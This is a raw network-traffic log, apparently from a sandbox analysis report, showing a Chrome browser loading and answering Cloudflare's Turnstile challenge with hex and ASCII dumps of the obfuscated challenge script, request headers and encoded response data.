2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 Data Ascii: 0browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2F
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 66 42 2c 66 4c 2c 66 57 2c 67 30 2c 67 33 2c 67 34 2c 67 78 2c 67 45 2c 67 31 2c 67 32 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 31 36 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 36 30 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 31 38 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 33 37 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 35 30 39 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 31 34 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 36 36 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e Data Ascii: fB,fL,fW,g0,g3,g4,gx,gE,g1,g2){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1516))/1(-parseInt(gI(1560))/2)+-parseInt(gI(818))/3+-parseInt(gI(1737))/4(parseInt(gI(509))/5)+-parseInt(gI(1314))/6*(-parseInt(gI(966))/7)+-parseIn
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 67 4b 28 37 34 37 29 5d 28 2b 2b 69 29 29 3b 6b 5b 67 4b 28 31 34 32 32 29 5d 28 53 74 72 69 6e 67 5b 67 4b 28 37 30 34 29 5d 28 28 68 5b 67 4b 28 31 35 36 33 29 5d 28 6d 26 32 35 35 2e 36 31 2c 6a 29 2d 69 25 36 35 35 33 35 2b 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 67 4b 28 35 30 35 29 5d 28 27 27 29 7d 2c 65 50 3d 7b 7d 2c 65 50 5b 67 4a 28 31 32 30 33 29 5d 3d 27 6f 27 2c 65 50 5b 67 4a 28 36 33 36 29 5d 3d 27 73 27 2c 65 50 5b 67 4a 28 31 34 38 32 29 5d 3d 27 75 27 2c 65 50 5b 67 4a 28 35 33 33 29 5d 3d 27 7a 27 2c 65 50 5b 67 4a 28 31 36 30 32 29 5d 3d 27 6e 27 2c 65 50 5b 67 4a 28 37 31 34 29 5d 3d 27 49 27 2c 65 50 5b 67 4a 28 31 33 31 32 29 5d 3d 27 62 27 2c 65 51 3d 65 50 2c 65 4d 5b 67 4a 28 33 35 35 29 5d 3d 66 75 Data Ascii: gK(747)](++i));k[gK(1422)](String[gK(704)]((h[gK(1563)](m&255.61,j)-i%65535+65535)%255)));return k[gK(505)]('')},eP={},eP[gJ(1203)]='o',eP[gJ(636)]='s',eP[gJ(1482)]='u',eP[gJ(533)]='z',eP[gJ(1602)]='n',eP[gJ(714)]='I',eP[gJ(1312)]='b',eQ=eP,eM[gJ(355)]=fu
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 7d 2c 6a 5b 67 55 28 31 34 34 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3d 3d 3d 76 7d 2c 6a 5b 67 55 28 31 38 30 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 2b 76 7d 2c 6b 3d 6a 2c 6c 3d 4f 62 6a 65 63 74 5b 67 55 28 39 36 37 29 5d 28 69 29 2c 6d 3d 30 3b 6d 3c 6c 5b 67 55 28 35 36 38 29 5d 3b 6d 2b 2b 29 69 66 28 6e 3d 6c 5b 6d 5d 2c 6e 3d 3d 3d 27 66 27 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6f 3c 69 5b 6c 5b 6d 5d 5d 5b 67 55 28 35 36 38 29 5d 3b 6b 5b 67 55 28 31 34 34 31 29 5d 28 2d 31 2c 68 5b 6e 5d 5b 67 55 28 31 35 31 39 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 26 26 28 65 56 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 67 55 28 Data Ascii: },j[gU(1441)]=function(s,v){return s===v},j[gU(1800)]=function(s,v){return s+v},k=j,l=Object[gU(967)](i),m=0;m<l[gU(568)];m++)if(n=l[m],n==='f'&&(n='N'),h[n]){for(o=0;o<i[l[m]][gU(568)];k[gU(1441)](-1,h[n][gU(1519)](i[l[m]][o]))&&(eV(i[l[m]][o])\|\|h[n][gU(
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 5b 65 5b 67 57 28 35 34 34 29 5d 5d 5b 67 57 28 31 38 35 37 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 67 57 28 33 34 35 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 67 57 28 39 36 33 29 5d 5b 67 57 28 34 37 36 29 5d 2c 27 65 76 65 6e 74 27 3a 65 5b 67 57 28 31 32 31 32 29 5d 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 67 57 28 39 36 33 29 5d 5b 67 57 28 31 37 39 36 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 67 57 28 39 36 33 29 5d 5b 67 57 28 35 32 38 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 67 57 28 38 35 37 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 67 57 28 39 36 33 29 5d 5b 67 57 28 31 33 32 32 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 31 31 32 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 67 58 2c 6a 2c 6b 2c 6c 2c 6d Data Ascii: [e[gW(544)]][gW(1857)]({'source':gW(345),'widgetId':eM[gW(963)][gW(476)],'event':e[gW(1212)],'cfChlOut':eM[gW(963)][gW(1796)],'cfChlOutS':eM[gW(963)][gW(528)],'code':e[gW(857)],'rcV':eM[gW(963)][gW(1322)]},'*'))},g)},eM[gJ(1129)]=function(g,h,i,gX,j,k,l,m
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 31 27 3a 43 3d 28 42 3d 7b 7d 2c 42 5b 67 58 28 31 37 34 39 29 5d 3d 65 4d 5b 67 58 28 39 36 33 29 5d 5b 67 58 28 31 37 34 39 29 5d 2c 42 5b 67 58 28 31 38 32 33 29 5d 3d 65 4d 5b 67 58 28 39 36 33 29 5d 5b 67 58 28 31 38 32 33 29 5d 2c 42 5b 67 58 28 31 32 37 38 29 5d 3d 65 4d 5b 67 58 28 39 36 33 29 5d 5b 67 58 28 31 32 37 38 29 5d 2c 42 5b 67 58 28 35 31 36 29 5d 3d 65 4d 5b 67 58 28 39 36 33 29 5d 5b 67 58 28 31 38 37 33 29 5d 2c 42 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 32 27 3a 45 3d 28 44 3d 7b 7d 2c 44 5b 67 58 28 37 31 30 29 5d 3d 67 2c 44 5b 67 58 28 31 37 33 34 29 5d 3d 46 2c 44 2e 63 63 3d 68 2c 44 5b 67 58 28 31 36 31 34 29 5d 3d 48 2c 44 5b 67 58 28 31 37 36 30 29 5d 3d 43 2c 4a 53 4f 4e 5b 67 58 28 36 38 34 29 5d 28 44 29 29 3b Data Ascii: 1':C=(B={},B[gX(1749)]=eM[gX(963)][gX(1749)],B[gX(1823)]=eM[gX(963)][gX(1823)],B[gX(1278)]=eM[gX(963)][gX(1278)],B[gX(516)]=eM[gX(963)][gX(1873)],B);continue;case'12':E=(D={},D[gX(710)]=g,D[gX(1734)]=F,D.cc=h,D[gX(1614)]=H,D[gX(1760)]=C,JSON[gX(684)](D));
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 31 28 31 36 39 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3e 76 7d 2c 6a 5b 68 31 28 31 34 32 35 29 5d 3d 68 31 28 31 36 39 39 29 2c 6b 3d 6a 2c 6c 3d 65 5b 68 31 28 31 38 37 35 29 5d 28 29 2c 6d 3d 68 31 28 37 36 39 29 2c 6b 5b 68 31 28 31 36 39 31 29 5d 28 6c 5b 68 31 28 31 35 31 39 29 5d 28 6d 29 2c 2d 31 29 29 3f 65 4d 5b 68 31 28 31 30 39 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 32 29 7b 68 32 3d 68 31 2c 65 4d 5b 68 32 28 36 38 36 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6e 3d 7b 7d 2c 6e 5b 68 31 28 31 33 31 38 29 5d 3d 65 2c 6e 5b 68 31 28 31 32 35 37 29 5d 3d 66 2c 6e 5b 68 31 28 38 37 35 29 5d 3d 67 2c 6e 5b 68 31 28 31 32 31 31 29 5d 3d 68 2c 6e 5b 68 31 28 35 39 36 29 5d 3d 69 2c 6f Data Ascii: J,j={},j[h1(1691)]=function(s,v){return s>v},j[h1(1425)]=h1(1699),k=j,l=e[h1(1875)](),m=h1(769),k[h1(1691)](l[h1(1519)](m),-1))?eM[h1(1098)](function(h2){h2=h1,eM[h2(686)]()},1e3):(n={},n[h1(1318)]=e,n[h1(1257)]=f,n[h1(875)]=g,n[h1(1211)]=h,n[h1(596)]=i,o
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 3d 69 45 28 33 38 39 29 3f 28 6d 28 29 2c 6e 28 66 75 6e 63 74 69 6f 6e 28 69 46 2c 52 2c 53 29 7b 69 46 3d 69 45 2c 52 3d 46 5b 69 46 28 39 36 33 29 5d 5b 69 46 28 31 30 36 30 29 5d 7c 7c 31 65 34 2c 53 3d 47 28 29 2c 21 48 5b 69 46 28 31 31 34 31 29 5d 26 26 21 49 28 29 26 26 21 4a 5b 69 46 28 31 35 30 30 29 5d 5b 69 46 28 37 32 33 29 5d 26 26 63 5b 69 46 28 31 37 37 34 29 5d 28 53 2d 4b 2c 52 29 3f 63 5b 69 46 28 37 39 37 29 5d 28 4e 29 3a 4f 28 29 7d 2c 31 65 33 29 29 3a 66 69 28 29 3a 63 5b 69 45 28 38 35 35 29 5d 28 66 6a 29 7d 2c 31 65 33 29 29 2c 67 30 3d 7b 7d 2c 67 30 5b 67 4a 28 37 32 33 29 5d 3d 21 5b 5d 2c 67 30 5b 67 4a 28 36 35 33 29 5d 3d 66 32 2c 67 30 5b 67 4a 28 35 37 35 29 5d 3d 66 4f 2c 67 30 5b 67 4a 28 35 31 34 29 5d 3d 66 54 2c 67 Data Ascii: =iE(389)?(m(),n(function(iF,R,S){iF=iE,R=F[iF(963)][iF(1060)]\|\|1e4,S=G(),!H[iF(1141)]&&!I()&&!J[iF(1500)][iF(723)]&&c[iF(1774)](S-K,R)?c[iF(797)](N):O()},1e3)):fi():c[iE(855)](fj)},1e3)),g0={},g0[gJ(723)]=![],g0[gJ(653)]=f2,g0[gJ(575)]=fO,g0[gJ(514)]=fT,g
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 27 54 79 4a 52 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 4a 4f 61 62 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 71 64 44 6a 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 51 55 6e 4e 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 46 4f 74 6e 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 42 48 4b 6d 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 71 6d 57 53 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4e 64 75 41 42 27 3a 66 75 6e Data Ascii: 'TyJRc':function(h,i){return i!==h},'JOabJ':function(h,i){return i==h},'qdDjI':function(h,i){return h<<i},'QUnNT':function(h,i){return i&h},'FOtno':function(h,i){return i\|h},'BHKmG':function(h,i){return h==i},'qmWSx':function(h,i){return h(i)},'NduAB':fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49732	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:30 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2121245505:1736350454:XaaFGa2gl00L65yPyfN5s_sZeyI1mNPcSR3VSd9-Oqc/8fed80f51d3e0f6d/amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3188 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: amdbPdxUkDShqZy0mEBgz2XI6d.zxfh3gofbBQsc6Yg-1736353109-1.1.1.1-lwBVjTjKJTPpLmej1z8qd_1.Lf29be4zFPjVRsSrz8a.zYGu72gPrKACiRw2NaHH sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:30 UTC	3188	OUT	Data Raw: 76 5f 38 66 65 64 38 30 66 35 31 64 33 65 30 66 36 64 3d 53 38 24 51 45 51 44 51 6a 51 55 51 62 78 4b 7a 78 4b 48 51 78 4a 69 4c 37 50 78 4e 4b 37 52 71 4b 30 48 4b 6e 42 36 6e 7a 43 37 4b 69 4a 37 4c 66 36 43 44 4b 48 4b 24 4a 78 74 6e 33 4b 61 36 4b 4c 66 4d 74 51 4e 66 4b 2d 51 78 66 74 78 70 75 68 6e 74 4b 57 51 75 75 67 4b 6d 36 4b 6a 6d 4b 24 48 31 4b 35 37 4b 78 74 6c 42 31 25 32 62 30 77 4b 37 54 36 4b 32 4b 4f 7a 75 4b 49 72 61 5a 61 65 58 4d 53 41 63 74 6e 30 52 4a 78 34 53 33 77 45 75 4b 35 50 61 4b 53 59 39 44 70 36 6e 53 53 75 6a 4e 34 75 50 2d 54 43 78 38 72 62 6c 58 4d 72 24 36 6d 62 58 48 61 72 53 4e 43 51 4b 6c 43 51 6e 64 4b 69 61 52 4e 75 61 4c 78 4b 4b 53 72 67 6a 4b 70 72 4a 4d 4b 78 61 59 64 66 50 4d 53 4b 38 50 53 51 4b 62 4d 70 51 Data Ascii: v_8fed80f51d3e0f6d=S8$QEQDQjQUQbxKzxKHQxJiL7PxNK7RqK0HKnB6nzC7KiJ7Lf6CDKHK$Jxtn3Ka6KLfMtQNfK-QxftxpuhntKWQuugKm6KjmK$H1K57KxtlB1%2b0wK7T6K2KOzuKIraZaeXMSActn0RJx4S3wEuK5PaKSY9Dp6nSSujN4uP-TCx8rblXMr$6mbXHarSNCQKlCQndKiaRNuaLxKKSrgjKprJMKxaYdfPMSK8PSQKbMpQ
2025-01-08 16:18:30 UTC	775	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:30 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 163340 Connection: close cf-chl-gen: AjEZb9dB1dbJ4SahXZZMWvuE1agm+VIjVpOmEdbK/dzZc2CjtIUNs/rAGplKlPtr8BdJNUj+5FpQBU/Nvzbmjr31NymoJOksH+efaWiadm0/REBVbogQTapQq/wOIfzpX2417iIAwk1XX9KFJP9m91phhc7p20tloWMfUgXhu0TaNFYdXQbbr6oMb4WNhlj9F/tIAUYvVagY6Xqs854yxsDfFu0LBQKQxPifaWsOiePGqYN4QWPiEqNoyS4aTCCy4Pan9C0+uw8mLtVgQN0gzK/TZZ19zJTWnADdFQ8oAJT7B3B5nuK00eaY310L8O18O5Ll3tu846Iwb5W532a8Yv/J1uIjeI7bnapv5eS+yqYg1Y/lI9h/HOaD7F4Wyjy/OUTBd12s9AJj37GTQtHpfn8AZgKImHu5nrdLhQIFb7FkBDCukmf8950tkRuZSgRmifVQKYcrLmJpGgxvOXBRCWd/sH25YTq7JOqKRxWKdi9QuFVwmX00bD6vKbCTgZL3yDOFimlw4vYq$epSxremKxa/lkd0E Server: cloudflare CF-RAY: 8fed80febb66ef9d-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:30 UTC	594	IN	Data Raw: 6e 70 43 32 6f 63 57 70 6f 4d 71 34 77 73 6d 77 6d 73 2b 4d 72 34 2f 51 6f 71 58 5a 6d 63 54 49 73 72 50 66 7a 37 76 66 6f 72 4b 74 6e 4f 69 79 30 62 36 64 35 38 57 6b 35 64 43 78 33 38 72 6a 39 4b 2f 53 7a 76 50 58 38 50 4c 47 78 72 37 54 37 64 6a 50 37 2b 2f 46 77 41 41 47 39 50 54 67 7a 63 62 6f 44 77 44 2b 38 77 62 6d 38 51 34 47 37 77 72 61 46 2b 30 67 36 76 41 65 34 64 6f 62 37 69 51 68 36 50 49 6f 4a 53 72 73 4c 52 6e 70 37 65 51 77 41 52 59 75 42 2f 49 53 46 68 6b 46 47 44 45 52 2f 76 6f 58 2f 41 55 6a 44 7a 34 58 45 79 52 43 47 78 5a 4e 54 7a 38 4e 49 69 56 55 53 55 51 35 4d 6a 41 58 4f 43 68 51 47 68 30 2f 50 78 56 44 50 6c 31 5a 4d 45 59 35 4e 43 4e 48 4f 57 35 78 59 30 41 38 58 6a 35 65 64 6b 59 7a 54 48 52 78 54 54 56 49 54 31 67 35 63 6d 46 Data Ascii: npC2ocWpoMq4wsmwms+Mr4/QoqXZmcTIsrPfz7vforKtnOiy0b6d58Wk5dCx38rj9K/SzvPX8PLGxr7T7djP7+/FwAAG9PTgzcboDwD+8wbm8Q4G7wraF+0g6vAe4dob7iQh6PIoJSrsLRnp7eQwARYuB/ISFhkFGDER/voX/AUjDz4XEyRCGxZNTz8NIiVUSUQ5MjAXOChQGh0/PxVDPl1ZMEY5NCNHOW5xY0A8Xj5edkYzTHRxTTVIT1g5cmF
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 74 4f 62 30 4e 55 59 59 6c 44 52 33 6c 57 66 33 42 6a 61 59 4e 47 5a 47 4e 30 65 56 61 4e 69 32 65 52 6b 35 64 58 64 6c 78 67 6f 46 32 54 6d 4b 53 58 5a 6e 39 33 6c 36 61 4e 69 34 31 78 69 57 79 66 73 4c 56 77 6c 71 57 58 6b 59 32 58 77 4c 70 35 6b 34 79 37 72 34 4f 6f 6f 72 57 6c 68 49 57 4a 79 36 75 77 6b 4d 4f 79 6f 34 2b 2b 74 72 44 50 30 35 50 59 33 70 69 52 73 4c 62 4d 34 39 33 69 74 4f 4c 56 31 72 54 44 71 4d 4b 6c 36 4f 6e 4d 73 61 7a 73 39 73 32 77 37 4f 48 6b 35 66 62 63 7a 75 2f 55 30 41 48 43 31 74 6f 42 77 50 72 6e 36 50 6f 44 44 39 72 37 2b 67 6b 45 39 4f 45 4a 44 75 38 4f 47 75 6e 56 48 68 67 57 38 2b 76 63 49 65 38 52 39 42 63 42 38 79 62 6b 2f 50 76 39 4a 65 63 76 4c 77 34 55 41 43 6b 78 39 50 59 5a 4b 42 63 4f 45 77 64 42 50 79 38 73 52 Data Ascii: tOb0NUYYlDR3lWf3BjaYNGZGN0eVaNi2eRk5dXdlxgoF2TmKSXZn93l6aNi41xiWyfsLVwlqWXkY2XwLp5k4y7r4OoorWlhIWJy6uwkMOyo4++trDP05PY3piRsLbM493itOLV1rTDqMKl6OnMsazs9s2w7OHk5fbczu/U0AHC1toBwPrn6PoDD9r7+gkE9OEJDu8OGunVHhgW8+vcIe8R9BcB8ybk/Pv9JecvLw4UACkx9PYZKBcOEwdBPy8sR
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 61 6a 49 70 36 54 6b 68 70 57 6f 56 67 5a 45 32 4a 55 57 56 73 62 6e 6c 71 64 6d 35 62 61 6f 70 33 67 47 46 76 59 34 43 68 6e 6f 4f 45 6e 36 36 58 73 57 31 75 68 4b 6d 53 73 6f 75 73 69 71 57 77 69 59 74 37 63 5a 4f 70 6d 35 2b 35 67 35 69 56 74 61 6a 47 78 4d 48 4c 74 37 65 4b 77 63 43 37 30 35 4c 4f 30 38 57 6b 70 5a 4b 61 76 61 61 72 76 39 43 33 77 61 47 67 74 4c 48 51 73 62 6d 7a 71 39 62 6e 71 74 6a 66 76 72 33 31 73 73 2f 72 31 63 4b 73 7a 72 4c 48 37 66 76 72 75 4c 6e 4d 78 4f 4c 64 7a 2b 48 6a 42 67 6e 4d 7a 64 2f 71 2b 4e 41 42 35 74 34 53 37 51 6e 6e 37 2b 6a 33 39 78 33 77 46 67 41 4f 42 41 77 47 2f 53 50 31 47 52 49 59 36 68 73 62 2b 52 73 77 49 79 37 6c 49 76 50 78 4d 44 51 36 4a 43 51 56 46 6a 55 54 47 2f 50 2b 50 69 41 35 4f 67 49 32 45 6a Data Ascii: ajIp6TkhpWoVgZE2JUWVsbnlqdm5baop3gGFvY4ChnoOEn66XsW1uhKmSsousiqWwiYt7cZOpm5+5g5iVtajGxMHLt7eKwcC705LO08WkpZKavaarv9C3waGgtLHQsbmzq9bnqtjfvr31ss/r1cKszrLH7fvruLnMxOLdz+HjBgnMzd/q+NAB5t4S7Qnn7+j39x3wFgAOBAwG/SP1GRIY6hsb+RswIy7lIvPxMDQ6JCQVFjUTG/P+PiA5OgI2Ej
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 61 31 78 74 55 6b 78 6a 6a 46 43 61 65 34 69 56 56 31 75 51 62 70 42 32 6b 49 32 59 5a 4a 71 48 65 48 32 70 6c 61 47 76 6a 34 47 79 62 6e 35 6e 62 48 57 44 6b 37 75 49 74 49 2b 39 73 34 71 37 67 49 36 39 74 62 33 46 6e 36 69 37 6e 4d 4b 4b 6c 38 2b 6c 6b 61 57 6e 6f 4d 4f 54 77 4d 58 4f 73 37 4f 70 6d 4e 76 58 6c 74 7a 4c 6f 38 4c 62 6f 70 32 6e 77 2b 6a 49 36 73 7a 73 70 64 37 75 79 2b 79 30 76 72 37 77 78 39 48 47 79 72 7a 70 2f 76 62 33 77 65 44 63 30 73 51 46 38 76 54 41 2b 74 76 43 33 65 50 39 44 77 49 41 35 77 55 55 39 51 66 31 41 39 4c 34 38 41 77 41 37 2f 7a 67 33 39 72 7a 34 64 38 52 43 69 59 42 43 69 34 6a 47 77 73 61 4c 65 2f 39 4a 65 77 66 39 66 59 61 43 6a 72 31 43 68 2f 39 4c 6a 63 43 48 76 30 76 4d 54 7a 2b 4e 45 67 6a 47 67 31 4e 52 51 64 Data Ascii: a1xtUkxjjFCae4iVV1uQbpB2kI2YZJqHeH2plaGvj4Gybn5nbHWDk7uItI+9s4q7gI69tb3Fn6i7nMKKl8+lkaWnoMOTwMXOs7OpmNvXltzLo8Lbop2nw+jI6szspd7uy+y0vr7wx9HGyrzp/vb3weDc0sQF8vTA+tvC3eP9DwIA5wUU9Qf1A9L48AwA7/zg39rz4d8RCiYBCi4jGwsaLe/9Jewf9fYaCjr1Ch/9LjcCHv0vMTz+NEgjGg1NRQd
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 5a 4e 5a 68 5a 46 79 61 47 78 79 64 6f 43 54 6f 59 53 54 64 4a 31 69 5a 61 75 6b 70 6f 68 75 6d 70 32 79 71 37 47 43 6c 36 32 35 64 47 79 50 6d 33 75 78 74 37 36 61 75 73 53 76 73 63 4b 67 6b 61 47 7a 6d 4c 75 45 6f 70 75 66 6a 36 79 79 70 59 36 77 32 4e 6d 51 77 70 76 58 33 4c 53 5a 30 4a 69 55 7a 74 37 4e 73 4e 48 6d 71 62 66 47 75 4c 62 4d 79 75 4c 53 78 64 44 63 79 2b 44 42 75 4d 4c 76 32 4e 66 75 33 65 2b 38 41 74 50 30 35 66 33 58 37 2b 6a 62 32 2f 6e 73 41 74 59 45 44 74 37 37 35 51 2f 66 38 51 77 50 31 67 51 4e 32 41 72 33 41 51 48 37 2b 52 7a 6b 2b 39 77 58 43 50 45 4b 43 4f 54 2b 47 67 6f 6a 41 4f 34 6a 42 41 59 51 45 41 55 31 47 42 6b 4a 4c 51 6f 65 2f 50 34 50 48 6a 63 35 47 52 39 4a 52 51 67 35 50 67 6b 6b 48 51 4d 50 4a 56 55 71 51 7a 39 52 Data Ascii: ZNZhZFyaGxydoCToYSTdJ1iZaukpohump2yq7GCl625dGyPm3uxt76ausSvscKgkaGzmLuEopufj6yypY6w2NmQwpvX3LSZ0JiUzt7NsNHmqbfGuLbMyuLSxdDcy+DBuMLv2Nfu3e+8AtP05f3X7+jb2/nsAtYEDt775Q/f8QwP1gQN2Ar3AQH7+Rzk+9wXCPEKCOT+GgojAO4jBAYQEAU1GBkJLQoe/P4PHjc5GR9JRQg5PgkkHQMPJVUqQz9R
2025-01-08 16:18:30 UTC	1369	IN	Data Raw: 42 72 62 35 42 69 67 48 31 68 67 35 47 68 64 70 31 6c 61 6e 2b 46 72 72 47 48 6f 4b 71 4f 6a 71 32 7a 6c 58 6c 32 75 4b 71 33 75 4a 61 63 66 48 37 41 67 63 53 34 67 35 75 46 79 63 61 63 6c 73 33 44 70 63 53 79 79 73 76 4b 79 4b 47 53 73 4e 43 38 6d 61 79 61 32 62 69 31 34 4e 44 62 73 2b 43 7a 6f 4e 66 72 79 64 57 35 35 75 76 6b 76 65 57 78 73 73 58 6a 39 39 57 30 7a 76 7a 73 35 74 69 38 2b 4d 48 52 31 50 62 35 33 75 62 2b 33 65 44 36 43 4f 33 63 33 51 62 4f 45 52 41 48 46 66 66 33 46 76 62 6c 47 42 55 4d 46 75 44 70 33 4e 2f 39 37 52 50 6b 35 76 55 41 2f 53 34 44 35 69 37 6e 4a 69 38 56 4c 51 58 78 4d 52 63 61 2b 53 51 33 47 69 74 41 49 42 49 37 4d 54 59 35 4f 52 30 78 43 45 70 43 50 41 67 59 48 44 35 4b 44 52 52 49 4a 43 34 33 4f 44 6f 54 55 45 6f 30 55 Data Ascii: Brb5BigH1hg5Ghdp1lan+FrrGHoKqOjq2zlXl2uKq3uJacfH7AgcS4g5uFycacls3DpcSyysvKyKGSsNC8maya2bi14NDbs+CzoNfrydW55uvkveWxssXj99W0zvzs5ti8+MHR1Pb53ub+3eD6CO3c3QbOERAHFff3FvblGBUMFuDp3N/97RPk5vUA/S4D5i7nJi8VLQXxMRca+SQ3GitAIBI7MTY5OR0xCEpCPAgYHD5KDRRIJC43ODoTUEo0U
